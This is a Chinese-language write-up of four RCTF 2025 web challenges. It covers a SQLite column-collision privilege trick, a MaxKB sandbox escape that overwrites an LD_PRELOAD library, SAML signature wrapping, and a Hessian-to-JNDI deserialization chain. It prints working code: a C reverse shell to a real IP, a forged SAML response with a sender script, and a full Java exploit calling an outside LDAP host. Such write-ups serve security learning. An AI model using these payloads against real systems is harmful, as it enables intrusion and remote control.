【Web】RCTF 2025 wp(随便看看
随便看看
目录
photographer
看到要求Auth::type()小于0才能拿到flag



而$user['type']是从findById里取出来的

findById是个左联查询,返回的不只是user的信息,还有photo的信息



题目用的是SQLITE3_ASSOC模式,也就是返回以列名索引的数组
这里有个前置知识

而user和photo均有type字段


photo的type字段是从mime-type里取的

先随便注册个用户
访问/compose路由上传背景图片

Content-Type改为-1

设置背景图片

再访问superadmin.php拿到flag

RootKB
题目是最新版的

https://github.com/1Panel-dev/MaxKB/tree/v2
创建工具处可以在线运行python代码


但有些限制


2.3.1版本tool_code.py多了个LD_PRELOAD


可以尝试去覆盖/opt/maxkb-app/sandbox/sandbox.so
只要 LD_PRELOAD 设置了该 .so,init() 就会在程序启动时自动调用。
#include <stdlib.h> #include <string.h> #include <unistd.h> void payload() { unsetenv("LD_PRELOAD"); system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\""); } __attribute__((constructor)) void init() { if (getenv("LD_PRELOAD") != NULL) { payload(); } }gcc -shared -fPIC -o Z3.so Z3.c
然后覆写
def payload(): import base64 import os base64data="xxxx" data = base64.b64decode(base64data) with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f: f.write(data) return 1再随便运行个代码
def payload(): print(1)
成功反弹shell

Auth
SSO(Single Sign-On,单点登录)是一种身份验证机制,允许用户使用一组凭据(如用户名和密码)登录一次后,即可访问多个相互信任的应用系统或服务,而无需在每个系统中重复登录。
当用户首次登录时,由一个统一的认证服务器(称为身份提供者,Identity Provider,简称 IdP)验证用户身份,并生成一个安全令牌(如 SAML 断言、OAuth 2.0 Token 或 OpenID Connect ID Token)。之后,用户访问其他受信任的应用(称为服务提供者,Service Provider,SP)时,这些应用会通过该令牌确认用户身份,从而免去再次输入账号密码的过程。

用的是SAML认证

先来看怎么拿flag
sp部分
当session中的email字段为[email protected]才会获得flag

该字段从SAML里解析得来
再来看idp部分
可以用js的parseInt特性绕过对type为0的限制


先注册

正常是只能注册一个regular user,普通用户
将type设为随便一个字符串

成功绕过,拿到一个fullaccess的用户

访问flag路由后返回了samlForm

存在email字段

接收方是/saml/acs

接下来修改post的SAMLResponse
<?xml version="1.0" encoding="UTF-8"?><samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z" Destination="http://192.168.233.1:26000/saml/acs"><saml:Issuer>http://192.168.233.1</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z"><saml:Issuer>http://192.168.233.1</saml:Issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><Reference URI="#_934f82968d8e7a26eda0272da9f92ade6175dfc5cd"><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>PPAY1fr+00rDryalemULp6kfp9hzzNUH47Q+w+zjueE=</DigestValue></Reference></SignedInfo><SignatureValue>CZBCZNRGdqwwNTruJ4wRd6J9zf1gRuXaHdR6AKPqxxiIjpGvg1Zc5qaPA3xA1fZYSXAgoL2pAplgTmVJDQzAPT9zbksOUPfWy74QiFbGFegLF0RP/AUrlUl1QamJ084yGxht2a2TAvWA71FTn2xqQ7kORtA9BjXbwJblg9PxP2AJzRRRFx121NGu7mGEiCjVd4qF/QgMSlQzy8sdNE1MhYFAhKq+qAbFQuf1c7xw3/dbVFY39x8VD8LiXCe0rr5s46+cwxXyMVbfhZLqYV3aa+m/hXtUMe0tGMyNdaRZmdeQp4020OBTzgCkXvky30cdS1z4caC+lXoL4IXhtM1+4w==</SignatureValue></Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">[email protected]</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2025-11-20T11:18:40.594Z" Recipient="http://192.168.233.1:26000/saml/acs"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2025-11-20T11:13:40.594Z" NotOnOrAfter="2025-11-20T11:18:40.594Z"><saml:AudienceRestriction><saml:Audience>http://192.168.233.1:26000/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2025-11-20T11:13:40.594Z" SessionIndex="_9e36eb0434011848bc9c34ae86d090eac238fe1c1a"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>2</saml:AttributeValue></saml:Attribute><saml:Attribute Name="username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>Z3r4y</saml:AttributeValue></saml:Attribute><saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>[email protected]</saml:AttributeValue></saml:Attribute><saml:Attribute Name="displayName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute><saml:Attribute Name="department" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>初始为
<samlp:Response>
<saml:Issuer>...</saml:Issuer>
<samlp:Status>...</samlp:Status>
<saml:Assertion> <!-- 原始(带签名) -->
...<Signature>...</Signature>...
</saml:Assertion>
</samlp:Response>
修改后应为
<samlp:Response>
<saml:Assertion> <!-- 【新插入:伪造、无签名、[email protected]】 -->
...(无 Signature)...
</saml:Assertion>
<saml:Issuer>...</saml:Issuer>
<samlp:Status>...</samlp:Status>
<saml:Assertion> <!-- 原始(保留,仍带有效签名) -->
...<Signature>...</Signature>...
</saml:Assertion>
</samlp:Response>
改了之后发个包就行
import requests # 目标 ACS 地址 acs_url = "http://192.168.233.1:26000/saml/acs" # SAMLResponse 值(Base64 编码的 XML) saml_response = "xxx" # 构造表单数据 data = { "SAMLResponse": saml_response } # 发送 POST 请求 try: response = requests.post(acs_url, data=data) print(f"[+] 状态码: {response.status_code}") print(f"[+] 响应头: {response.headers}") print(f"[+] 响应体预览:\n{response.text[:500]}...") # 打印前500字符 except requests.exceptions.RequestException as e: print(f"[-] 请求失败: {e}")
maybe_easy
一个白名单Hessian反序列化,感觉一眼最后要打JNDI的

参考这个文章
【Web】浅聊Hessian反序列化之打Spring AOP——JNDI
最终应该是调org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()
再往下看
题目自定义了一个Maybe类,重写了compareTo方法
调用handler的invoke方法

之前写过两篇文章
【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识
【Web】浅聊XStream反序列化之SortedSet&TreeMap利用链
Hessian作为入口其实触发的就是map.put,map.put会触发TreeMap.compareTo,因为白名单的限制,不能用上面文章里的java.beans.EventHandler
找其他白名单里的handler利用


找到ObjectFactoryDelegatingInvocationHandler
参考文章:
【Web】浅聊Java反序列化之Spring1链——三层动态代理
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); if (methodName.equals("equals")) { return proxy == args[0]; } else if (methodName.equals("hashCode")) { return System.identityHashCode(proxy); } else if (methodName.equals("toString")) { return this.objectFactory.toString(); } else { try { return method.invoke(this.objectFactory.getObject(), args); } catch (InvocationTargetException var6) { throw var6.getTargetException(); } } } }走到objectFactory.getObject()
白名单里全局搜一下getObject()

搜到ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory.getObject()
调用getBean

再回过头来看
org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()可以被其getBean方法触发

成功走通链子
最终payload:
package com.rctf.server.exp; import com.rctf.server.tool.HessianFactory; import com.rctf.server.tool.Maybe; import org.springframework.jndi.support.SimpleJndiBeanFactory; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.ObjectFactory; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.util.TreeMap; public class exp { public static void main(String[] args) throws Exception { String jndiUrl = "ldap://8.138.38.81:1339/suibian"; // 创建 SimpleJndiBeanFactory 并设置 JNDI URL SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory(); beanFactory.setShareableResources(jndiUrl); // 构造 TargetBeanObjectFactory Class<?> tboFactoryClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory"); Constructor<?> tboFactoryConstructor = tboFactoryClass.getDeclaredConstructor(BeanFactory.class, String.class); tboFactoryConstructor.setAccessible(true); ObjectFactory<?> objectFactory = (ObjectFactory<?>) tboFactoryConstructor.newInstance(beanFactory, jndiUrl); // 构造 ObjectFactoryDelegatingInvocationHandler Class<?> ofdihClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> ofdihConstructor = ofdihClass.getDeclaredConstructor(ObjectFactory.class); ofdihConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) ofdihConstructor.newInstance(objectFactory); Maybe maybe = new Maybe(handler); TreeMap treeMap = makeTreeMap(maybe, maybe); String serialize = HessianFactory.serialize(treeMap); System.out.println(serialize); HessianFactory.deserialize(serialize); } public static TreeMap makeTreeMap(Object v1, Object v2) throws Exception { TreeMap<Object,Object> m = new TreeMap<>(); setFieldValue(m, "size", 2); setFieldValue(m, "modCount", 2); Class<?> nodeC = Class.forName("java.util.TreeMap$Entry"); Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object node = nodeCons.newInstance(v1, new Object[0], null); Object right = nodeCons.newInstance(v2, new Object[0], node); setFieldValue(node, "right", right); setFieldValue(m, "root", node); return m; } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } }